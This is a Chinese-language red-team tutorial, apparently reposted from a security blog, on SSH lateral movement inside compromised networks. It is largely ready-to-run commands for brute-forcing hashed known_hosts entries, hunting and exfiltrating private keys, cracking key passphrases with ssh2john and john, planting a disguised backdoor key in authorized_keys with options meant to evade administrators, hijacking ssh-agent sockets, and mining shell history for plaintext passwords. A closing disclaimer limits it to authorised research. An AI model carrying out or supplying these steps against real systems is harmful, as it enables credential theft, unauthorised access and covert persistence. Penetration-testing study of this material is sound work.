文章总结: 该文档详细解析了内网渗透中SSH横向移动的技术路径,涵盖核心文件解析、信息收集、凭据窃取、权限维持等全流程。关键发现包括:known_hosts文件可破解哈希获取内网IP地图,config文件常明文暴露高价值目标,私钥复用是最高效横向方式。可操作建议包括使用ssh-keygen碰撞IP、破解加密私钥、植入隐蔽公钥后门等。文档还提供了SSHAgent劫持、历史命令挖掘等辅助突破方案。 综合评分: 85 文章分类: 红队,内网渗透,WEB安全,实战经验,安全工具
SSH横向移动
原创
One One
One security
2026年5月24日 18:34 北京
在小说阅读器读本章
去阅读
在内网渗透中,SSH 往往是通往核心资产的“高速公路”。开发、运维人员为了图方便,常在机器间建立单向或双向的信任关系。这种“重便捷、轻安全”的配置,一旦有一台边界机器失守,攻击者就能像多米诺骨牌一样,通过 SSH 信任链横推内网。
一、 核心文件解析与攻击面映射
在开始操作前,必须明确 .ssh/ 目录下每个文件的含义及其在攻防中的价值(默认路径:~/.ssh/ 或 /home/<用户>/.ssh/,root用户在 /root/.ssh/)
| 文件名 | 作用 | 攻击者视角 | 横向移动价值 |
| — | — | — | — |
| id_rsa | 本机私钥 | 本机的“身份证” | 极高 。复用身份登录内网其他机器,若遇加密需尝试破解 |
| id_rsa.pub | 本机公钥 | 本机的“身份证号” | 结合 hostname 排查当前机器在资产库中的身份 |
| authorized_keys | 允许登录本机的公钥 | 谁能控制本机 | 溯源管理员来源;植入攻击者公钥维持权限 |
| known_hosts | 本机曾连接过的主机 | 本机去过哪里 | 核心 。内网资产地图,锁定横向目标 IP |
| config | 客户端预设配置 | 登录习惯与别名 | 明文暴露内网 IP、用户名、跳板路径、密钥位置 |
二、 横向信息收集:绘制内网地图
步骤 1:挖掘 known_hosts —— 发现内网存活目标
该文件记录了当前用户曾经 SSH 连接过的所有主机指纹和 IP/域名,是内网横向的指南针。
操作 1.1:直接读取明文
cat ~/.ssh/known_hosts
如果输出的是明文 IP(如 192.168.1.100 ssh-rsa AAAA...),直接记录下来进入步骤 3;如果输出是以 |1| 开头的字符串,说明被哈希加密了,进入操作 1.2。
操作 1.2:破解哈希保护
较新版本的 SSH 默认开启 HashKnownHosts yes,IP 会被哈希加密,无法直接读取。
若已知内网网段(如 10.10.1.0/24),可使用工具逐个计算网段 IP 的哈希进行碰撞比对。实战命令(使用 ssh-keygen 本地校验):
# 针对某个已知网段进行爆破比对
for ip in $(seq 1 254); do
ssh-keygen -F 10.10.1.$ip -f ~/.ssh/known_hosts 2>/dev/null | grep -v "^#" | grep -v "^$" && echo"[+] Found: 10.10.1.$ip"
done
成功碰撞出内网 IP,进入步骤 3。
步骤 2:挖掘 config —— 获取一键登录配方
运维人员为了方便,常在此配置连接别名,这里极大概率明文暴露了内网高价值目标信息。
操作 2.1:读取配置文件
cat ~/.ssh/config
典型泄露示例:
Host db-master
HostName 10.10.2.50
User root
Port 2222
IdentityFile ~/.ssh/db_server_key
如果配置文件中指定了IdentityFile,进入步骤 3寻找该密钥;如果没有任何配置,进入步骤 3寻找默认私钥。
三、 凭据窃取与横向移动:复用信任关系
步骤 3:搜刮私钥文件 —— 跨机身份复用
开发/运维人员经常在多台机器上复用同一套密钥对,这是横向移动最高效的方式。
操作 3.1:查找与确认私钥
# 查找当前用户及全局可读的私钥文件
find / -name "id_rsa" -o -name "id_ed25519" -o -name "*.pem" 2>/dev/null
# 确认私钥是否被加密(加密私钥头部会有 ENCRYPTED 字样)
head -2 ~/.ssh/id_rsa
# 例:-----BEGIN OPENSSH PRIVATE KEY----- 下方出现 Proc-Type: 4,ENCRYPTED
-
下一步:
如果私钥文件不存在或权限不可读,尝试提权或寻找其他用户目录;如果成功获取私钥内容,将其保存到攻击机本地,进入操作 3.2。
操作 3.2:利用私钥直接横向 将私钥下载到攻击机,必须修改权限否则 SSH 会拒绝使用。
# 在攻击机上操作
vim temp_key
# 粘贴私钥内容
chmod 600 temp_key
# 尝试免密登录(结合步骤1、2获取的IP和用户名)
ssh -i temp_key [email protected]
-
避坑指南:
如果登录报错
Permission denied (publickey),可能是目标机器的/etc/ssh/sshd_config开启了StrictModes yes,要求目录权限必须严苛。确保目标机器的~/.ssh/是700,~/.ssh/authorized_keys是600。 -
下一步:
如果直接登录成功,该机器成为新跳板,重新回到步骤 1挖掘新机器的
.ssh/;如果提示Enter passphrase for key,说明私钥有密码,进入操作 3.3。
操作 3.3:破解加密私钥 若私钥有密码保护,可离线爆破。
# 1. 使用 ssh2john 提取哈希(在攻击机上)
# 注意:ssh2john.py 通常在 john 的 run 目录下
python3 /usr/share/john/ssh2john.py temp_key > key_hash.txt
# 2. 使用 john 爆破密码
john --wordlist=/usr/share/wordlists/rockyou.txt key_hash.txt
-
下一步:
拿到私钥密码后,回到操作 3.2输入密码登录。
步骤 4:追踪 authorized_keys —— 逆向溯源与信任链分析
该文件存放了允许免密登录本机的公钥。不仅能用来留后门,还能溯源管理员的跳板机。
操作 4.1:提取公钥注释
cat ~/.ssh/authorized_keys | awk '{print $3}'
公钥末尾通常有注释(格式:user@hostname),通过此注释可以定位管理员的来源机器。
-
下一步:
如果发现了类似
admin@jumpserver-01的主机名,尝试在已知资产中寻找该机器的 IP,并尝试使用本机作为跳板去连接它。
四、 权限维持:隐蔽后门植入
利用 authorized_keys 植入攻击者公钥,实现持久化免密控制,这是最难被察觉的后门之一。
步骤 5:植入公钥后门
操作 5.1:生成后门密钥对并植入
# 在攻击机生成专用的后门密钥(使用 ed25519 更快更安全)
ssh-keygen -t ed25519 -C "system-monitor" -f backdoor -N ""
# 在目标机器上植入公钥(注意使用 >> 追加,切勿用 > 覆盖!)
echo"ssh-ed25519 AAAA...系统监控... backdoor" >> ~/.ssh/authorized_keys
操作 5.2:修复文件权限(极其关键) 如果不修复权限,SSH 守护进程会拒绝公钥认证,导致后门失效。
chmod 700 ~/.ssh/
chmod 600 ~/.ssh/authorized_keys
# 如果是在其他用户目录下,还需确保目录属主正确
chown -R victim_user:victim_user /home/victim_user/.ssh/
操作 5.3:高级隐蔽技巧(防排查) 为了让后门不那么突兀,可以在公钥前添加配置选项,限制后门的功能或隐藏行为:
# 限制后门仅允许执行特定命令(需配合隧道使用),且禁止分配伪终端和端口转发
echo'command="noproxycmd",no-pty,no-agent-forwarding,no-port-forwarding ssh-ed25519 AAAA... backdoor' >> ~/.ssh/authorized_keys
- *说明:* 这种后门管理员即使登进去检查,也很难察觉异常,因为它限制了常规的 Shell 交互,常用于隐蔽的反向隧道维持。
五、 辅助突破:环境变量与历史记录
如果 .ssh/ 目录下空空如也,别急,还有其他途径。
步骤 6:结合 Agent 与历史记录突破无凭据困境
操作 6.1:劫持 SSH Agent (内存中的密钥)
如果运维使用了 ssh-agent 管理密钥,私钥不落盘但在内存中。
# 1. 查找当前机器上的 Agent Socket 文件
find /tmp -type s -name "agent.*" 2>/dev/null
ls -la /proc/*/fd/* 2>/dev/null | grep agent
# 2. 劫持 Socket 环境变量 (假设找到了 /tmp/ssh-xxxx/agent.1234)
export SSH_AUTH_SOCK=/tmp/ssh-xxxx/agent.1234
# 3. 查看Agent中的密钥身份
ssh-add -l
-
下一步:
如果列出密钥,直接使用
ssh user@target即可借用该密钥免密登录。
操作 6.2:挖掘 .bash_history
历史命令常能补全 .ssh/ 目录缺失的拼图。
history | grep -E "ssh|scp" | grep -v "grep"
# 重点关注:sshpass -p (明文密码), -i (指定非默认密钥路径), scp (传输过什么文件)
cat ~/.bash_history | grep -i "sshpass"
-
下一步:
如果发现
ssh -i /tmp/secret_key,回到步骤 3去读取该路径的私钥;如果发现sshpass -p 'MyP@ssw0rd',直接记录凭证用于横向爆破。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:One security One One《SSH横向移动》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论